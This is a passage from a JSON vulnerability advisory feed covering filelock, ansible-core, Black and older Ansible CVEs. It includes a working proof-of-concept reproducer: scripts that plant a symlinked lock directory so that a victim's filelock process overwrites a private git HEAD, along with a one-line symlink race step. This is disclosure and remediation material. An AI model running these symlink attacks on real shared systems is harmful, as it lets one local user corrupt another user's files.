lock object has seen them unchanged for `stale_threshold` (observed with `stale_threshold=2`; the default is 90 s). With `gen` as the link, `GenerationLog._list()` unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with `SoftFileLockProtocolError`.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-WXXRI4M4`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nSHARED = \"/srv/shared\"\nLOCK_TREE = f\"{SHARED}/app.lock.rw\"\nPROJECT = \"/home/victim/project\"\nHEAD = Path(PROJECT, \".git\", \"HEAD\")\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\"]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nVICTIM_WORKER = [*AS_VICTIM, sys.executable, \"/tmp/repro.d/victim_worker.py\"]\nATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, \"/tmp/repro.d/attacker_swap_tree.py\"]\n\n# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter\nshutil.rmtree(SHARED, ignore_errors=True)\nshutil.rmtree(PROJECT, ignore_errors=True)\nos.mkdir(SHARED)\nos.chmod(SHARED, 0o777)\nsubprocess.run([*AS_VICTIM, \"git\", \"init\", \"--quiet\", PROJECT], check=True)\nos.chmod(PROJECT, 0o700)\nhead_before = HEAD.read_text()\nprint(\"SETUP    HEAD:\", repr(head_before))\n\nattacker_opens_head = subprocess.run(\n    [*AS_ATTACKER, sys.executable, \"-c\", f\"open({str(HEAD)!r}, 'w')\"], capture_output=True, text=True\n)\nif attacker_opens_head.returncode == 0:\n    sys.exit(\"setup: the attacker can write HEAD directly\")\nprint(\"CONTROL  attacker opens HEAD for writing:\", attacker_opens_head.stderr.strip().splitlines()[-1])\n\n# the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw\nworker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\nworker.stdin.write(\"job 1\\n\")\nworker.stdin.flush()\nprint(\"VICTIM  \", worker.stdout.readline().strip())\ntree = os.stat(LOCK_TREE)\nprint(\"VICTIM   app.lock.rw owner uid\", tree.st_uid, \"mode\", oct(tree.st_mode & 0o777))\n\n# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git\nsubprocess.run(ATTACKER_SWAP_TREE, check=True)\nprint(\"ATTACK   app.lock.rw/gen ->\", os.readlink(f\"{LOCK_TREE}/gen\"))\n\n# control: a new lock object, in a new victim process, checks the planted tree and refuses it\nfresh_worker = subprocess.run(VICTIM_WORKER, input=\"job 1\\n\", capture_output=True, text=True)\nprint(\"CONTROL  new worker:\", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])\nprint(\"CONTROL  HEAD after the new worker:\", repr(HEAD.read_text()))\n\n# the same worker does job 2 with the lock object that passed the check at job 1\nworker.stdin.write(\"job 2\\n\")\nworker.stdin.close()\nprint(\"VICTIM  \", worker.stdout.read().strip())\nworker.wait()\n\n# check: HEAD of the victim's private repository must still be git's own\nhead_after = HEAD.read_text()\nprint(\"OBSERVED HEAD:\", repr(head_after))\nprint(\"OBSERVED .git:\", sorted(os.listdir(HEAD.parent)))\ngit_status = subprocess.run([*AS_VICTIM, \"git\", \"-C\", PROJECT, \"status\"], capture_output=True, text=True)\nprint(\"OBSERVED git status:\", (git_status.stdout + git_status.stderr).strip().splitlines()[0])\nprint(\"BUG\" if head_after != head_before and \"filelock-rw/1\" in head_after else \"OK\")\n```\n\n**`repro.d/attacker_swap_tree.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/srv/shared/app.lock.rw\"\nTARGET = \"/home/victim/project/.git\"  # below a 0700 directory: this user can neither list nor write it\n\n# the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)\nos.rename(LOCK_TREE, f\"{LOCK_TREE}.aside\")\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o755)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777)  # writable, so the victim's holder record lands and nothing re-runs prepare()\nos.symlink(TARGET, f\"{LOCK_TREE}/gen\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftReadWriteLock\n\nlock = SoftReadWriteLock(\"/srv/shared/app.lock\")\nfor job in sys.stdin:\n    with lock.write_lock(timeout=30):\n        ...  # the job's work on the shared resource\n    print(\"victim: finished\", job.strip(), \"and released the lock\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant W as worker of the lock user (one lock object)\n    participant F as /srv/shared (0777, no sticky bit)\n    participant T as /home/victim/project/.git (0700)\n    rect rgb(255, 214, 214)\n        Note over A,T: filelock 4.1.0 to 4.2.0\n        W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True\n        W->>F: release, lock object kept\n        A->>F: rename(app.lock.rw, app.lock.rw.aside)\n        A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git\n        W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders\n        W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch\n        W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001\n        W->>T: replace() renames .git/.commit-token over .git/HEAD\n        W->>T: release commits generation 2 and renames over HEAD again\n        Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root, drops to `victim` and `attacker` through `runuser`, needs `git`, changes no sysctl, and takes about half a second. It creates `/srv/shared` (root-owned, `0777`, no sticky bit), has `victim` run `git init /home/victim/project` and makes that directory `0700`. It then drives two programs. `victim_worker.py` holds one `SoftReadWriteLock(\"/srv/shared/app.lock\")` with default options; for each line on stdin it takes `write_lock(timeout=30)`, releases it and prints `finished <job> and released the lock`. `attacker_swap_tree.py` renames the lock user's `app.lock.rw` aside, creates a new one with a world-writable `holders/`, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`, using only write access to `/srv/shared`. On the scanned commit it prints:\n\n```\nCONTROL  attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD'\nVICTIM   victim: finished job 1 and released the lock\nVICTIM   app.lock.rw owner uid 1000 mode 0o700\nATTACK   app.lock.rw/gen -> /home/victim/project/.git\nCONTROL  new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it\nCONTROL  HEAD after the new worker: 'ref: refs/heads/master\\n'\nVICTIM   victim: finished job 2 and released the lock\nOBSERVED HEAD: '<epoch>\\nfilelock-rw/1\\ngeneration=2\\n'\nOBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...]\nOBSERVED git status: fatal: not a git repository\nBUG\n```\n\nThe `CONTROL` lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with `fs.protected_symlinks=1`. There the other account creates `app.lock.rw`, `gen` and `holders` with mode `0777` in a `1777` parent before the lock user's first acquire, then renames its own `gen` aside and links it to the lock user's `.git`.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head: `OK`, `HEAD` stays `ref: refs/heads/master`, `.git` keeps its original listing and `git status` answers `On branch master`. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.\n\n## Impact\n\nWith the lock user's privileges, in any directory the lock user can write, the other user gets a file named `HEAD` replaced, new files `epoch`, `HEAD` and 20-digit generation names created (mode `0600`), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, `.commit-*`). The bytes written are filelock's own records, not chosen by the other user. Replacing `HEAD` makes a git repository unusable when the other user knows its path. Renaming `<path>.rw` away is something this other user may do anyway, and `docs/how-to.rst` documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.\n\nThis is adjacent to GHSA-j8f7-rjxc-mr56 (`ReadWriteLock` following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for `SoftFileLock`, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `<path>.rw` before anyone else can (for example at install time with mode `0700`), and do not use a lock path whose `<path>.rw` belongs to another account.\n- Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:39 UTC: fix PR #842 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-wfhq-q4j2-c37m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112941"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/842"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-11332","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"26.4.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.21.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-22701","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-qmgc-5h2g-mvrw","CVE-2026-22701","PYSEC-2026-1374"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.0"},{"fixed":"26.1.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.3","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock","details":"## Vulnerability Summary\n\n**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock\n\n**Affected Component:** `filelock` package - `SoftFileLock` class\n**File:** `src/filelock/_soft.py` lines 17-27\n**CWE:** CWE-362, CWE-367, CWE-59\n\n---\n\n## Description\n\nA TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.\n\nThe vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.\n\n### Attack Scenario\n\n```\n1. Lock attempts to acquire on /tmp/app.lock\n2. Permission validation passes\n3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock\n4. os.open() tries to create lock file\n5. Lock operates on attacker-controlled target file or fails\n```\n\n---\n\n## Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization.\n\n**Affected Users:**\n- Applications using `filelock.SoftFileLock` directly\n- Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy)\n\n**Consequences:**\n- **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed\n- **Denial of Service** - attacker can prevent lock file creation by maintaining symlink\n- **Resource serialization failures** - multiple processes may acquire \"locks\" simultaneously\n- **Unintended file operations** - lock could operate on attacker-controlled files\n\n**CVSS v4.0 Score:** 5.6 (Medium)\n**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N\n\n**Attack Requirements:**\n- Local filesystem access to the directory containing lock files\n- Permission to create symlinks (standard for regular unprivileged users on Unix/Linux)\n- Ability to time the symlink creation during the narrow race window\n\n---\n\n## Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation.\n\n**Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)\n\n**Mitigation Details:**\n- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support\n- On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented\n- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented\n\n**Users should:**\n- Upgrade to the patched version when available\n- For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock`\n\n---\n\n## Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nFor users unable to update immediately:\n\n1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146)\n\n2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories:\n   ```bash\n   chmod 700 /path/to/lock/directory\n   ```\n\n3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation\n\n4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations\n\n---\n\n## References\n\n_Are there any links users can visit to find out more?_\n\n- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock)\n- **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html\n- **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html\n- **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html\n- **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html\n- **GitHub Repository:** https://github.com/tox-dev/filelock\n\n---\n\n**Reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22701"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-32274","published":"2026-08-13T16:35:16Z","modified":"2026-10-14T08:48:05Z","upstream":["GHSA-3936-cmfr-pm3m","CVE-2026-32274","PYSEC-2026-2121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.8.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.3.1","resource":"black","resource_purl":"pkg:pypi/black@26.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"black","subject_version":"26.10.1","key":"pkg:pypi/black@26.10.1","resource":"black"}]},"summary":"Black: Arbitrary file writes from unsanitized user input in cache file name","details":"### Impact\n\nBlack writes a cache file, the name of which is computed from various formatting options. The value of the `--python-cell-magics` option was placed in the filename without sanitization, which allowed an attacker who controls the value of this argument to write cache files to arbitrary file system locations. \n\n### Patches\n\nFixed in Black 26.3.1.\n\n### Workarounds\n\nDo not allow untrusted user input into the value of the `--python-cell-magics` option.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/black/security/advisories/GHSA-3936-cmfr-pm3m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32274"},{"type":"WEB","url":"https://github.com/psf/black/pull/4176"},{"type":"WEB","url":"https://github.com/psf/black/pull/5038"},{"type":"WEB","url":"https://github.com/psf/black/commit/4937fe6cf241139ddbfc16b0bdbb5b422798909d"},{"type":"WEB","url":"https://github.com/psf/black/commit/ed770ba4dd50c419148a0fca2b43937a7447e1f9"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-32274"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2447111"},{"type":"PACKAGE","url":"https://github.com/psf/black"},{"type":"WEB","url":"https://github.com/psf/black/releases/tag/26.3.1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/black/PYSEC-2026-2121.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32274.json"}]}],"ansible@10":[{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in `/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-4cvm-5776-jx9f","CVE-2014-3498","PYSEC-2017-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"User module in ansible before 1.6.6 is vulnerable to command execution. Ansible can get the result of remote command in variable, which may come from untrusted source of input. If the content of variable isn't properly filtered and when attempting to use the variable, it will trigger a function that passes it through jinja 2 template engine that can result into arbitrary command execution. Under certain circumstances, unprivileged user on system that is being managed via ansible can execute code on the managing host under UID of running ansible process.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3498"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted 